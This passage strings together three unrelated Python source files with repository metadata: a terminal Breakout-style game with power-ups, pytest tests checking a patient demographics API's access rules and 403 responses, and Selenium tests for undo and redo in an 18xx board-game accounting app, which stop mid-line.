import global_variables import numpy as np import config from colorama import Fore, init , Back , Style init() import time from time import time,sleep import random import math class Objects(): def __init__(self , obj , xpos , ypos): self.position_x = xpos self.position_y = ypos self.height = len(obj) self.width = len(obj[0]) self.shape = obj def update_x_position(self , x): if self.position_x<=4: self.position_x=4 if self.position_x>=90: self.position_x=90 if self.position_x>1 and self.position_x<=90: self.position_x += x def update_y_position(self , y): self.position_y += y def current_position_x(self): return self.position_x def current_position_y(self): return self.position_y def clear(self): for i in range(self.width): for j in range(self.height): global_variables.main_board.matrix[j+self.position_y][i+self.position_x] = " " def render(self): if global_variables.active_powerupflag[4] == 1 and global_variables.active_powerupflag[1] == 0: self.shape = config.shrink_p self.width = len(config.shrink_p[0]) for i in range(self.width): for j in range(self.height): global_variables.main_board.matrix[j+self.position_y][i+self.position_x] =( Back.CYAN + Fore.CYAN + self.shape[j][i] ) elif global_variables.active_powerupflag[1] == 1 and global_variables.active_powerupflag[4] == 0: self.shape = config.expand_p self.width = len(config.expand_p[0]) # self.position_x -=1 for i in range(self.width): for j in range(self.height): global_variables.main_board.matrix[j+self.position_y][i+self.position_x] =( Back.CYAN + Fore.CYAN + self.shape[j][i] ) elif (global_variables.active_powerupflag[1] == 1 and global_variables.active_powerupflag[4] == 1) or (global_variables.active_powerupflag[1] == 0 and global_variables.active_powerupflag[4] == 0): self.shape = config.paddle self.width = len(config.paddle[0]) for i in range(self.width): for j in range(self.height): global_variables.main_board.matrix[j+self.position_y][i+self.position_x] =( Back.CYAN + Fore.CYAN + self.shape[j][i] ) class Paddle(Objects): def __init__(self ,obj , xpos , ypos, lives): self.initial_lives = 5 self.score = 0 super().__init__(obj , xpos , ypos) def lives(self): return self.initial_lives class Ball(Objects): def __init__(self ,obj , xpos , ypos): super().__init__(obj , xpos , ypos) self.speed_x = 0 self.speed_y = 0 self.begin_time = time() self.onetimetempflag = 0 def speed(self): self.speed_x = global_variables.ball_privious_speed_x self.speed_y = global_variables.ball_privious_speed_y def collision_with_wall(self): if self.position_x + self.speed_x<=1 or self.position_x+self.speed_x>=96: self.speed_x *= -1 if self.position_y <=4: self.speed_y *= -1 elif self.position_y + self.speed_y>=37: default() self.speed_x = 0 self.speed_y = 0 def clear(self): for i in range(self.width): for j in range(self.height): global_variables.main_board.matrix[j+self.position_y][i+self.position_x] = " " def render(self): if global_variables.active_powerupflag[2] == 1 and self.onetimetempflag == 0: if self.speed_x < 0: self.speed_x -=1 else: self.speed_x += 1 self.onetimetempflag = 1 self.collision_with_wall() self.collision_with_paddle() self.position_x += self.speed_x self.position_y -= self.speed_y for i in range(self.width): for j in range(self.height): global_variables.main_board.matrix[j+self.position_y][i+self.position_x] = self.shape[j][i] def collision_with_paddle(self): if (global_variables.active_powerupflag[1] == 1 and global_variables.active_powerupflag[4] == 1) or (global_variables.active_powerupflag[1] == 0 and global_variables.active_powerupflag[4] == 0): if self.position_y == 35 or self.position_y == 36: if self.position_x == global_variables.main_paddle.position_x: if global_variables.active_powerupflag[3] == 1: global_variables.ball_privious_speed_x = self.speed_x global_variables.ball_privious_speed_y = -1*self.speed_y self.speed_y = 0 self.speed_x = 0 global_variables.flag = 0 global_variables.main_ball.position_y = 34 else: self.speed_y *= -1 self.speed_x -= 2 elif self.position_x == global_variables.main_paddle.position_x+1: if global_variables.active_powerupflag[3] == 1: global_variables.ball_privious_speed_x = self.speed_x global_variables.ball_privious_speed_y = -1*self.speed_y self.speed_y = 0 self.speed_x = 0 global_variables.flag = 0 global_variables.main_ball.position_y = 34 else : self.speed_y *= -1 self.speed_x -= 1 elif self.position_x == global_variables.main_paddle.position_x+2: if global_variables.active_powerupflag[3] == 1: global_variables.ball_privious_speed_x = self.speed_x global_variables.ball_privious_speed_y = -1*self.speed_y self.speed_y = 0 self.speed_x = 0 global_variables.flag = 0 global_variables.main_ball.position_y = 34 else: self.speed_y *= -1 elif self.position_x == global_variables.main_paddle.position_x+3: if global_variables.active_powerupflag[3] == 1: global_variables.ball_privious_speed_x = self.speed_x global_variables.ball_privious_speed_y = -1*self.speed_y self.speed_y = 0 self.speed_x = 0 global_variables.flag = 0 global_variables.main_ball.position_y = 34 else: self.speed_y *= -1 self.speed_x += 1 elif self.position_x == global_variables.main_paddle.position_x+4: if global_variables.active_powerupflag[3] == 1: global_variables.ball_privious_speed_x = self.speed_x global_variables.ball_privious_speed_y = -1*self.speed_y self.speed_y = 0 self.speed_x = 0 global_variables.flag = 0 global_variables.main_ball.position_y = 34 else: self.speed_y *= -1 self.speed_x +=2 elif global_variables.active_powerupflag[4] == 1 and global_variables.active_powerupflag[1] == 0: if self.position_y == 35 or self.position_y == 36: if self.position_x == global_variables.main_paddle.position_x: if global_variables.active_powerupflag[3] == 1: global_variables.ball_privious_speed_x = self.speed_x global_variables.ball_privious_speed_y = -1*self.speed_y self.speed_y = 0 self.speed_x = 0 global_variables.flag = 0 global_variables.main_ball.position_y = 34 else: self.speed_y *= -1 self.speed_x -= -1 elif self.position_x == global_variables.main_paddle.position_x+1: if global_variables.active_powerupflag[3] == 1: global_variables.ball_privious_speed_x = self.speed_x global_variables.ball_privious_speed_y = -1*self.speed_y self.speed_y = 0 self.speed_x = 0 global_variables.flag = 0 global_variables.main_ball.position_y = 34 else: self.speed_y *= -1 # self.speed_x -= 1 elif self.position_x == global_variables.main_paddle.position_x+2: if global_variables.active_powerupflag[3] == 1: global_variables.ball_privious_speed_x = self.speed_x global_variables.ball_privious_speed_y = -1*self.speed_y self.speed_y = 0 self.speed_x = 0 global_variables.flag = 0 global_variables.main_ball.position_y = 34 else: self.speed_y *= -1 self.speed_x += 1 elif global_variables.active_powerupflag[1] == 1 and global_variables.active_powerupflag[4] == 0: if self.position_y == 35 or self.position_y == 36: if self.position_x == global_variables.main_paddle.position_x: if global_variables.active_powerupflag[3] == 1: global_variables.ball_privious_speed_x = self.speed_x global_variables.ball_privious_speed_y = -1*self.speed_y self.speed_y = 0 self.speed_x = 0 global_variables.flag = 0 global_variables.main_ball.position_y = 34 else: self.speed_y *= -1 self.speed_x -= 2 elif self.position_x == global_variables.main_paddle.position_x+1: if global_variables.active_powerupflag[3] == 1: global_variables.ball_privious_speed_x = self.speed_x global_variables.ball_privious_speed_y = -1*self.speed_y self.speed_y = 0 self.speed_x = 0 global_variables.flag = 0 global_variables.main_ball.position_y = 34 else: self.speed_y *= -1 self.speed_x -= 1 elif self.position_x == global_variables.main_paddle.position_x+2: if global_variables.active_powerupflag[3] == 1: global_variables.ball_privious_speed_x = self.speed_x global_variables.ball_privious_speed_y = -1*self.speed_y self.speed_y = 0 self.speed_x = 0 global_variables.flag = 0 global_variables.main_ball.position_y = 34 else: self.speed_y *= -1 elif self.position_x == global_variables.main_paddle.position_x+3: if global_variables.active_powerupflag[3] == 1: global_variables.ball_privious_speed_x = self.speed_x global_variables.ball_privious_speed_y = -1*self.speed_y self.speed_y = 0 self.speed_x = 0 global_variables.flag = 0 global_variables.main_ball.position_y = 34 else: self.speed_y *= -1 self.speed_x += 1 elif self.position_x == global_variables.main_paddle.position_x+4: if global_variables.active_powerupflag[3] == 1: global_variables.ball_privious_speed_x = self.speed_x global_variables.ball_privious_speed_y = -1*self.speed_y self.speed_y = 0 self.speed_x = 0 global_variables.flag = 0 global_variables.main_ball.position_y = 34 else: self.speed_y *= -1 self.speed_x +=2 elif self.position_x == global_variables.main_paddle.position_x+4: if global_variables.active_powerupflag[3] == 1: global_variables.ball_privious_speed_x = self.speed_x global_variables.ball_privious_speed_y = -1*self.speed_y self.speed_y = 0 self.speed_x = 0 global_variables.flag = 0 global_variables.main_ball.position_y = 34 else: self.speed_y *= -1 self.speed_x +=3 class Brick(Objects): def __init__(self, obj , xpos , ypos, weight , power ): super().__init__(obj , xpos , ypos) self.weight = weight self.score = 0 self.flag = 0 self.contain_powerup = power self.isexplosive = False def render(self): for i in range(self.width): for j in range(self.height): if (self.weight > 0) and ((self.position_x,self.position_y) not in global_variables.explosion_coordinates): if self.weight == 1: global_variables.main_board.matrix[j+self.position_y][i+self.position_x] = ( Back.BLUE + Fore.BLUE + self.shape[j][i] ) elif self.weight == 2: global_variables.main_board.matrix[j+self.position_y][i+self.position_x] = ( Fore.GREEN + Back.GREEN + self.shape[j][i]) elif self.weight == 3: global_variables.main_board.matrix[j+self.position_y][i+self.position_x] = ( Fore.RED + Back.RED + self.shape[j][i] ) elif self.weight == 4: global_variables.main_board.matrix[j+self.position_y][i+self.position_x] = ( Fore.MAGENTA + Back.MAGENTA + self.shape[j][i] ) elif self.weight == np.inf: global_variables.main_board.matrix[j+self.position_y][i+self.position_x] = ( Fore.WHITE + Back.WHITE + self.shape[j][i] ) else: self.weight = 0 global_variables.main_board.matrix[j+self.position_y][i+self.position_x] =' ' def collision_ball_brick(self): if self.isexplosive == False: if (self.position_x == global_variables.main_ball.position_x and self.position_y == global_variables.main_ball.position_y) : if (self.weight > 0 and self.weight<4) or (self.weight == np.inf): if global_variables.main_ball.speed_x != 0: angle = math.degrees( math.atan(global_variables.main_ball.speed_y/global_variables.main_ball.speed_x) ) if ( angle>-45 and angle<45 ) : if global_variables.active_powerupflag[5] == 0: global_variables.main_ball.speed_y *= -1 else: if global_variables.active_powerupflag[5] == 0: global_variables.main_ball.speed_y *= -1 else: if global_variables.active_powerupflag[5] == 0: global_variables.main_ball.speed_y *= -1 if self.weight == 1: config.score += 1 if self.contain_powerup == 5: global_variables.powerup_objects.append(Powerup(config.thru_ball , self.position_x , self.position_y , self.contain_powerup)) global_variables.inair_powerupflag[self.contain_powerup] = 1 if self.contain_powerup == 4: global_variables.powerup_objects.append(Powerup(config.shrink_paddle , self.position_x , self.position_y , self.contain_powerup)) global_variables.inair_powerupflag[self.contain_powerup] = 1 if self.contain_powerup == 1: global_variables.powerup_objects.append(Powerup(config.expand_paddle , self.position_x , self.position_y , self.contain_powerup)) global_variables.inair_powerupflag[self.contain_powerup] = 1 if self.contain_powerup == 2: global_variables.powerup_objects.append(Powerup(config.fast_ball , self.position_x , self.position_y , self.contain_powerup)) global_variables.inair_powerupflag[self.contain_powerup] = 1 if self.contain_powerup == 3: global_variables.powerup_objects.append(Powerup(config.paddle_grab , self.position_x , self.position_y , self.contain_powerup)) global_variables.inair_powerupflag[self.contain_powerup] = 1 global_variables.main_paddle.score += 1 if global_variables.active_powerupflag[5] == 1: self.weight = 0 config.score += 1 if self.contain_powerup == 5: global_variables.powerup_objects.append(Powerup(config.thru_ball , self.position_x , self.position_y , self.contain_powerup)) if self.contain_powerup == 4: global_variables.powerup_objects.append(Powerup(config.shrink_paddle , self.position_x , self.position_y , self.contain_powerup)) # global_variables.inair_powerupflag[self.contain_powerup] = 1 if self.contain_powerup == 1: global_variables.powerup_objects.append(Powerup(config.expand_paddle , self.position_x , self.position_y , self.contain_powerup)) if self.contain_powerup == 2: global_variables.powerup_objects.append(Powerup(config.fast_ball , self.position_x , self.position_y , self.contain_powerup)) if self.contain_powerup == 3: global_variables.powerup_objects.append(Powerup(config.paddle_grab , self.position_x , self.position_y , self.contain_powerup)) else: self.weight -= 1 elif (self.position_x+1 == global_variables.main_ball.position_x and self.position_y == global_variables.main_ball.position_y): if (self.weight > 0 and self.weight<4) or (self.weight == np.inf): if global_variables.active_powerupflag[5] == 0: global_variables.main_ball.speed_y *= -1 if self.weight == 1: config.score += 1 if self.contain_powerup == 5: global_variables.powerup_objects.append(Powerup(config.thru_ball , self.position_x , self.position_y , self.contain_powerup)) global_variables.inair_powerupflag[self.contain_powerup] = 1 if self.contain_powerup == 4: global_variables.powerup_objects.append(Powerup(config.shrink_paddle , self.position_x , self.position_y , self.contain_powerup)) global_variables.inair_powerupflag[self.contain_powerup] = 1 if self.contain_powerup == 1: global_variables.powerup_objects.append(Powerup(config.expand_paddle , self.position_x , self.position_y , self.contain_powerup)) global_variables.inair_powerupflag[self.contain_powerup] = 1 if self.contain_powerup == 2: global_variables.powerup_objects.append(Powerup(config.fast_ball , self.position_x , self.position_y , self.contain_powerup)) global_variables.inair_powerupflag[self.contain_powerup] = 1 if self.contain_powerup == 3: global_variables.powerup_objects.append(Powerup(config.paddle_grab , self.position_x , self.position_y , self.contain_powerup)) global_variables.inair_powerupflag[self.contain_powerup] = 1 global_variables.main_paddle.score += 1 if global_variables.active_powerupflag[5] == 1: self.weight = 0 config.score += 1 if self.contain_powerup == 5: global_variables.powerup_objects.append(Powerup(config.thru_ball , self.position_x , self.position_y , self.contain_powerup)) if self.contain_powerup == 4: global_variables.powerup_objects.append(Powerup(config.shrink_paddle , self.position_x , self.position_y , self.contain_powerup)) # global_variables.inair_powerupflag[self.contain_powerup] = 1 if self.contain_powerup == 1: global_variables.powerup_objects.append(Powerup(config.expand_paddle , self.position_x , self.position_y , self.contain_powerup)) if self.contain_powerup == 2: global_variables.powerup_objects.append(Powerup(config.fast_ball , self.position_x , self.position_y , self.contain_powerup)) if self.contain_powerup == 3: global_variables.powerup_objects.append(Powerup(config.paddle_grab , self.position_x , self.position_y , self.contain_powerup)) else: self.weight -= 1 elif (self.position_x+2 == global_variables.main_ball.position_x and self.position_y == global_variables.main_ball.position_y): if (self.weight > 0 and self.weight<4) or (self.weight == np.inf) : if global_variables.main_ball.speed_x != 0: angle = math.degrees( math.atan(global_variables.main_ball.speed_y/global_variables.main_ball.speed_x) ) if ((angle>135 and angle<=180)or(angle>=-180 and angle<-135)) : if global_variables.active_powerupflag[5] == 0: global_variables.main_ball.speed_y *= -1 else: if global_variables.active_powerupflag[5] == 0: global_variables.main_ball.speed_y *= -1 else: if global_variables.active_powerupflag[5] == 0: global_variables.main_ball.speed_y *= -1 if self.weight == 1: config.score += 1 if self.contain_powerup == 5: global_variables.powerup_objects.append(Powerup(config.thru_ball , self.position_x , self.position_y , self.contain_powerup)) global_variables.inair_powerupflag[self.contain_powerup] = 1 if self.contain_powerup == 4: global_variables.powerup_objects.append(Powerup(config.shrink_paddle , self.position_x , self.position_y , self.contain_powerup)) global_variables.inair_powerupflag[self.contain_powerup] = 1 if self.contain_powerup == 1: global_variables.powerup_objects.append(Powerup(config.expand_paddle , self.position_x , self.position_y , self.contain_powerup)) global_variables.inair_powerupflag[self.contain_powerup] = 1 if self.contain_powerup == 2: global_variables.powerup_objects.append(Powerup(config.fast_ball , self.position_x , self.position_y , self.contain_powerup)) global_variables.inair_powerupflag[self.contain_powerup] = 1 if self.contain_powerup == 3: global_variables.powerup_objects.append(Powerup(config.paddle_grab , self.position_x , self.position_y , self.contain_powerup)) global_variables.inair_powerupflag[self.contain_powerup] = 1 global_variables.main_paddle.score += 1 if global_variables.active_powerupflag[5] == 1: self.weight = 0 config.score += 1 if self.contain_powerup == 5: global_variables.powerup_objects.append(Powerup(config.thru_ball , self.position_x , self.position_y , self.contain_powerup)) if self.contain_powerup == 4: global_variables.powerup_objects.append(Powerup(config.shrink_paddle , self.position_x , self.position_y , self.contain_powerup)) # global_variables.inair_powerupflag[self.contain_powerup] = 1 if self.contain_powerup == 1: global_variables.powerup_objects.append(Powerup(config.expand_paddle , self.position_x , self.position_y , self.contain_powerup)) if self.contain_powerup == 2: global_variables.powerup_objects.append(Powerup(config.fast_ball , self.position_x , self.position_y , self.contain_powerup)) if self.contain_powerup == 3: global_variables.powerup_objects.append(Powerup(config.paddle_grab , self.position_x , self.position_y , self.contain_powerup)) else: self.weight -= 1 class Exploding_bricks(Objects): def __init__(self , obj , xpos , ypos): super().__init__(obj , xpos , ypos) self.strength = 1 self.isexplosive = True self.flag = 0 def clear(self): for i in range(self.width): for j in range(self.height): global_variables.main_board.matrix[j+self.position_y][i+self.position_x] = " " def render(self): if self.flag == 0: if ((self.position_x,self.position_y) in global_variables.explosion_coordinates): self.flag = 1 self.strength = 0 explosion_coor(self.position_x,self.position_y) for i in range(self.width): for j in range(self.height): if ((self.position_x,self.position_y) not in global_variables.explosion_coordinates): global_variables.main_board.matrix[j+self.position_y][i+self.position_x] = self.shape[j][i] else: # explosion_coor(self.position_x,self.position_y) global_variables.main_board.matrix[j+self.position_y][i+self.position_x] = ' ' def collision_ball_brick(self): if (self.position_x == global_variables.main_ball.position_x and self.position_y == global_variables.main_ball.position_y) : explosion_coor(self.position_x,self.position_y) self.strength = 0 for i in range(self.width): for j in range(self.height): global_variables.main_board.matrix[j+self.position_y][i+self.position_x] = ' ' elif (self.position_x+1 == global_variables.main_ball.position_x and self.position_y == global_variables.main_ball.position_y) : self.strength = 0 explosion_coor(self.position_x,self.position_y) for i in range(self.width): for j in range(self.height): global_variables.main_board.matrix[j+self.position_y][i+self.position_x] = ' ' elif (self.position_x+2 == global_variables.main_ball.position_x and self.position_y == global_variables.main_ball.position_y) : self.strength = 0 explosion_coor(self.position_x,self.position_y) for i in range(self.width): for j in range(self.height): global_variables.main_board.matrix[j+self.position_y][i+self.position_x] = ' ' class Powerup(Objects): def __init__(self,obj,xpos,ypos , power): super().__init__(obj,xpos,ypos) self.speed_y = -1 self.contain_powerup = power self.speed_flag = 0 def render(self): if self.speed_flag == 0: # self.shape = [[' ']] self.position_y -= self.speed_y self.collision_with_paddle() for i in range(self.width): for j in range(self.height): global_variables.main_board.matrix[j+self.position_y][i+self.position_x] = (self.shape[j][i]) def collision_with_paddle(self): # if (global_variables.active_powerupflag[1] == 1 and global_variables.active_powerupflag[4] == 1) or (global_variables.active_powerupflag[1] == 0 and global_variables.active_powerupflag[4] == 0): if self.position_y == 35 or self.position_y == 36: if self.position_x <= global_variables.main_paddle.position_x+global_variables.main_paddle.width and self.position_x >= global_variables.main_paddle.position_x: self.speed_flag = 1 # print(self.speed_y) self.position_y = 2 global_variables.active_powerupflag[self.contain_powerup] = 1 global_variables.powerup_start_time[self.contain_powerup] = time() global_variables.inair_powerupflag[self.contain_powerup] = 0 self.shape = [[' ']] if self.position_y > 36: self.speed_y = 0 self.speed_flag = 1 def explosion_coor(x,y): lol = [] lol = [(x-3,y),(x+3,y),(x-3,y-1),(x+3,y-1),(x-3,y+1),(x+3,y+1),(x,y-1),(x,y+1),(x,y)] for i in lol: global_variables.explosion_coordinates.append(i) def default(): global_variables.main_paddle.clear() global_variables.main_ball.clear() config.lives -= 1 global_variables.flag = 0 global_variables.main_paddle.position_x=5 global_variables.main_paddle.position_y=35 global_variables.main_ball.position_x=5 global_variables.main_ball.position_y=33 #for fast ball global_variables.main_ball.onetimetempflag = 0 global_variables.main_ball.render() global_variables.main_paddle.render() for i in range(len(global_variables.active_powerupflag)): global_variables.active_powerupflag[i] = 0

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1

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null

0

8

7ddc44ecd5853c704ed9413854b10813fa29f63f

7,748

py

Python

tests/functional/test_patient_access.py

harryhmc/personal-demographics-service-api

33b427284aab58fbecea6fd9d74dfd7ecfbf1831

[ "MIT" ]

null

tests/functional/test_patient_access.py

harryhmc/personal-demographics-service-api

33b427284aab58fbecea6fd9d74dfd7ecfbf1831

[ "MIT" ]

null

tests/functional/test_patient_access.py

harryhmc/personal-demographics-service-api

33b427284aab58fbecea6fd9d74dfd7ecfbf1831

[ "MIT" ]

null

from tests.functional.config_files import config import requests import uuid import pytest @pytest.mark.asyncio class TestUserRestrictedPatientAccess: async def test_patient_access_retrieve_happy_path( self, nhs_login_token_exchange ): token = await nhs_login_token_exchange() headers = { "NHSD-SESSION-URID": "123", "Authorization": "Bearer " + token, "X-Request-ID": str(uuid.uuid4()), } r = requests.get( f"{config.BASE_URL}/{config.PDS_BASE_PATH}/Patient/9912003071", headers=headers, ) assert r.status_code == 200 async def test_patient_access_retrieve_non_matching_nhs_number( self, nhs_login_token_exchange ): token = await nhs_login_token_exchange() headers = { "NHSD-SESSION-URID": "123", "Authorization": "Bearer " + token, "X-Request-ID": str(uuid.uuid4()), } r = requests.get( f"{config.BASE_URL}/{config.PDS_BASE_PATH}/Patient/123456789", headers=headers, ) body = r.json() assert r.status_code == 403 assert body["issue"][0]["details"]["coding"][0]["code"] == "ACCESS_DENIED" assert ( body["issue"][0]["details"]["coding"][0]["display"] == "Patient cannot perform this action" ) async def test_patient_access_retrieve_incorrect_path( self, nhs_login_token_exchange ): token = await nhs_login_token_exchange() headers = { "NHSD-SESSION-URID": "123", "Authorization": "Bearer " + token, "X-Request-ID": str(uuid.uuid4()), } r = requests.get( f"{config.BASE_URL}/{config.PDS_BASE_PATH}/Patient?family=Smith&gender=female&birthdate=eq2010-10-22", headers=headers, ) body = r.json() assert r.status_code == 403 assert body["issue"][0]["details"]["coding"][0]["code"] == "ACCESS_DENIED" assert ( body["issue"][0]["details"]["coding"][0]["display"] == "Patient cannot perform this action" ) async def test_patient_access_update_happy_path( self, nhs_login_token_exchange, create_random_date ): token = await nhs_login_token_exchange() date = create_random_date patch_body = { "patches": [{"op": "replace", "path": "/birthDate", "value": date}] } headers = { "NHSD-SESSION-URID": "123", "Authorization": "Bearer " + token, "X-Request-ID": str(uuid.uuid4()), } r = requests.get( f"{config.BASE_URL}/{config.PDS_BASE_PATH}/Patient/9912003071", headers=headers, ) Etag = r.headers["Etag"] versionId = r.json()["meta"]["versionId"] headers = { "NHSD-SESSION-URID": "123", "Authorization": "Bearer " + token, "X-Request-ID": str(uuid.uuid4()), "If-Match": Etag, "Content-Type": "application/json-patch+json", } r = requests.patch( f"{config.BASE_URL}/{config.PDS_BASE_PATH}/Patient/9912003071", headers=headers, json=patch_body, ) assert r.status_code == 200 assert int(r.json()["meta"]["versionId"]) == int(versionId) + 1 async def test_patient_access_update_non_matching_nhs_number( self, nhs_login_token_exchange, create_random_date ): token = await nhs_login_token_exchange() date = create_random_date patch_body = { "patches": [{"op": "replace", "path": "/birthDate", "value": date}] } headers = { "NHSD-SESSION-URID": "123", "Authorization": "Bearer " + token, "X-Request-ID": str(uuid.uuid4()), } r = requests.get( f"{config.BASE_URL}/{config.PDS_BASE_PATH}/Patient/9912003071", headers=headers, ) Etag = r.headers["Etag"] headers = { "NHSD-SESSION-URID": "123", "Authorization": "Bearer " + token, "X-Request-ID": str(uuid.uuid4()), "If-Match": Etag, "Content-Type": "application/json-patch+json", } r = requests.patch( f"{config.BASE_URL}/{config.PDS_BASE_PATH}/Patient/123456789", headers=headers, json=patch_body, ) body = r.json() assert r.status_code == 403 assert body["issue"][0]["details"]["coding"][0]["code"] == "ACCESS_DENIED" assert ( body["issue"][0]["details"]["coding"][0]["display"] == "Patient cannot perform this action" ) async def test_patient_access_update_incorrect_path( self, nhs_login_token_exchange, create_random_date ): token = await nhs_login_token_exchange() date = create_random_date patch_body = { "patches": [{"op": "replace", "path": "/birthDate", "value": date}] } headers = { "NHSD-SESSION-URID": "123", "Authorization": "Bearer " + token, "X-Request-ID": str(uuid.uuid4()), } r = requests.get( f"{config.BASE_URL}/{config.PDS_BASE_PATH}/Patient/9912003071", headers=headers, ) Etag = r.headers["Etag"] headers = { "NHSD-SESSION-URID": "123", "Authorization": "Bearer " + token, "X-Request-ID": str(uuid.uuid4()), "If-Match": Etag, "Content-Type": "application/json-patch+json", } r = requests.patch( f"{config.BASE_URL}/{config.PDS_BASE_PATH}/Patient?family=Smith&gender=female&birthdate=eq2010-10-22", headers=headers, json=patch_body, ) body = r.json() assert r.status_code == 403 assert body["issue"][0]["details"]["coding"][0]["code"] == "ACCESS_DENIED" assert ( body["issue"][0]["details"]["coding"][0]["display"] == "Patient cannot perform this action" ) async def test_patient_access_retrieve_P5_scope( self, nhs_login_token_exchange ): token = await nhs_login_token_exchange(scope="P5") headers = { "NHSD-SESSION-URID": "123", "Authorization": "Bearer " + token, "X-Request-ID": str(uuid.uuid4()), } r = requests.get( f"{config.BASE_URL}/{config.PDS_BASE_PATH}/Patient/9912003071", headers=headers, ) body = r.json() assert r.status_code == 403 assert body["issue"][0]["details"]["coding"][0]["code"] == "ACCESS_DENIED" assert ( body["issue"][0]["details"]["coding"][0]["display"] == "Patient cannot perform this action" ) async def test_patient_access_retrieve_P0_scope( self, nhs_login_token_exchange ): token = await nhs_login_token_exchange(scope="P0") headers = { "NHSD-SESSION-URID": "123", "Authorization": "Bearer " + token, "X-Request-ID": str(uuid.uuid4()), } r = requests.get( f"{config.BASE_URL}/{config.PDS_BASE_PATH}/Patient/9912003071", headers=headers, ) body = r.json() assert r.status_code == 403 assert body["issue"][0]["details"]["coding"][0]["code"] == "ACCESS_DENIED" assert ( body["issue"][0]["details"]["coding"][0]["display"] == "Patient cannot perform this action" )

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null

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7

81716aaf00fa6507e0c88090e44327471ba8828c

25,079

py

Python

accountant/functional_tests/test_undo.py

XeryusTC/18xx-accountant

5dc70fb96042807ceaaadb51cea3108da4f40d85

[ "MIT" ]

null

accountant/functional_tests/test_undo.py

XeryusTC/18xx-accountant

5dc70fb96042807ceaaadb51cea3108da4f40d85

[ "MIT" ]

7

2017-03-29T18:52:44.000Z

2017-09-05T19:06:29.000Z

accountant/functional_tests/test_undo.py

XeryusTC/18xx-accountant

5dc70fb96042807ceaaadb51cea3108da4f40d85

[ "MIT" ]

1

2019-12-16T22:27:07.000Z

# -*- coding: utf-8 -*- from .base import FunctionalTestCase from .pages import game DATE_REGEX = r'\[\d{1,2}-\d{1,2} \d{2}:\d{2}\] ' class UndoTests(FunctionalTestCase): def test_can_undo_player_transfering_money_to_bank(self): self.story('Alice is a user who has a game with a player') self.browser.get(self.server_url) homepage = game.Homepage(self.browser) homepage.bank_cash.clear() homepage.bank_cash.send_keys('1000\n') game_uuid = self.browser.current_url[-36:] self.create_player(game_uuid, 'Alice', cash=100) self.story('Alice transfers some money to the bank') game_page = game.GamePage(self.browser) game_page.reload_game.click() transfer_form = game.TransferForm(self.browser) alice = game_page.get_players()[0] alice['row'].click() transfer_form.amount.send_keys('50\n') alice = game_page.get_players()[0] self.assertEqual(game_page.bank_cash.text, '1050') self.assertEqual(alice['cash'].text, '50') self.assertEqual(len(game_page.log), 2) self.assertRegex(game_page.log[0].text, DATE_REGEX + 'Alice transfered 50 to the bank') self.story('There is an undo button, once it is clicked the game is ' 'reverted to the previous state') game_page.undo.click() alice = game_page.get_players()[0] # Get DOM updates self.assertEqual(game_page.bank_cash.text, '1000') self.assertEqual(alice['cash'].text, '100') self.assertEqual(len(game_page.log), 1) self.story('There is also a redo button, when that is clicked the ' 'transfer happens again') game_page.redo.click() alice = game_page.get_players()[0] # Get DOM updates self.assertEqual(game_page.bank_cash.text, '1050') self.assertEqual(alice['cash'].text, '50') self.assertEqual(len(game_page.log), 2) self.assertRegex(game_page.log[0].text, DATE_REGEX + 'Alice transfered 50 to the bank') def test_can_undo_company_transfering_money_to_bank(self): self.story('Alice is a user who has a game with a company') self.browser.get(self.server_url) homepage = game.Homepage(self.browser) homepage.start_button.click() game_uuid = self.browser.current_url[-36:] self.create_company(game_uuid, 'B&O', cash=1000) self.story('The B&O transfers some money to the bank') game_page = game.GamePage(self.browser) game_page.reload_game.click() transfer_form = game.TransferForm(self.browser) bno = game_page.get_companies()[0] bno['elem'].click() transfer_form.amount.send_keys('30\n') bno = game_page.get_companies()[0] self.assertEqual(game_page.bank_cash.text, '12030') self.assertEqual(bno['cash'].text, '970') self.assertEqual(len(game_page.log), 2) self.assertRegex(game_page.log[0].text, DATE_REGEX + 'B&O transfered 30 to the bank') self.story('Click the undo button, the game state is reverted') game_page.undo.click() bno = game_page.get_companies()[0] self.assertEqual(game_page.bank_cash.text, '12000') self.assertEqual(bno['cash'].text, '1000'), self.assertEqual(len(game_page.log), 1) self.story('Click the redo button, the transfer is done again') game_page.redo.click() bno = game_page.get_companies()[0] self.assertEqual(game_page.bank_cash.text, '12030') self.assertEqual(bno['cash'].text, '970') self.assertEqual(len(game_page.log), 2) self.assertRegex(game_page.log[0].text, DATE_REGEX + 'B&O transfered 30 to the bank') def test_can_undo_player_transfering_money_to_company(self): self.story('Alice is a user who has a game') self.browser.get(self.server_url) homepage = game.Homepage(self.browser) homepage.start_button.click() game_uuid = self.browser.current_url[-36:] self.create_player(game_uuid, 'Alice', cash=100) self.create_company(game_uuid, 'B&O', cash=1000) self.story('Alice transfers some money to the B&O') game_page = game.GamePage(self.browser) transfer_form = game.TransferForm(self.browser) game_page.reload_game.click() alice = game_page.get_players()[0] alice['row'].click() transfer_form.select_target('B&O') transfer_form.amount.send_keys('40\n') self.story('Verify transfer happened') alice = game_page.get_players()[0] bno = game_page.get_companies()[0] self.verify_player(alice, cash=60) self.verify_company(bno, cash=1040) self.assertEqual(len(game_page.log), 2) self.story('Click the undo button, the game state is reverted') game_page.undo.click() alice = game_page.get_players()[0] bno = game_page.get_companies()[0] self.verify_player(alice, cash=100) self.verify_company(bno, cash=1000) self.assertEqual(len(game_page.log), 1) self.story('Click the redo button, the transfer is done again') game_page.redo.click() alice = game_page.get_players()[0] bno = game_page.get_companies()[0] self.verify_player(alice, cash=60) self.verify_company(bno, cash=1040) self.assertEqual(len(game_page.log), 2) def test_can_undo_company_transfering_money_to_player(self): self.story('Alice is a user who has a game') self.browser.get(self.server_url) homepage = game.Homepage(self.browser) homepage.start_button.click() game_uuid = self.browser.current_url[-36:] self.create_player(game_uuid, 'Alice', cash=100) self.create_company(game_uuid, 'B&O', cash=1000) self.story('Alice transfers some money to the B&O') game_page = game.GamePage(self.browser) transfer_form = game.TransferForm(self.browser) game_page.reload_game.click() bno = game_page.get_companies()[0] bno['elem'].click() transfer_form.select_target('Alice') transfer_form.amount.send_keys('20\n') self.story('Verify transfer happened') alice = game_page.get_players()[0] bno = game_page.get_companies()[0] self.verify_player(alice, cash=120) self.verify_company(bno, cash=980) self.assertEqual(len(game_page.log), 2) self.story('Click the undo button, the game state is reverted') game_page.undo.click() alice = game_page.get_players()[0] bno = game_page.get_companies()[0] self.verify_player(alice, cash=100) self.verify_company(bno, cash=1000) self.assertEqual(len(game_page.log), 1) self.story('Click the redo button, the transfer is done again') game_page.redo.click() alice = game_page.get_players()[0] bno = game_page.get_companies()[0] self.verify_player(alice, 